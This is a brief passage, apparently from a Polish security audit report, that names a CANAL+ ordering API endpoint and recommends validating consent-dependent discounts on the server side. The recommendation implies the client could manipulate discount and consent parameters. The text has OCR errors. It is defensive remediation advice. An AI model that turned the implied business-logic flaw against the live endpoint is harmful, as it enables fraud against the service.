https://icard0.pl.canalplus.com/api/mvno/order

REKOMENDACIA

Nalezy zweryfikowac, czy mozliwe jest wytaczenie zgdd przy jednoczesnym wigczeniu znizek.

Aplikacja nie powinna od strony uzytkownika wysyta¢ informacji nt. przyznania lub cofniecia znizek.
Weryfikacja powinna nastepowac wytacznie po stronie serwerowej, na podstawie wartosci parametrow
odpowiedzialnych za stan zgod.
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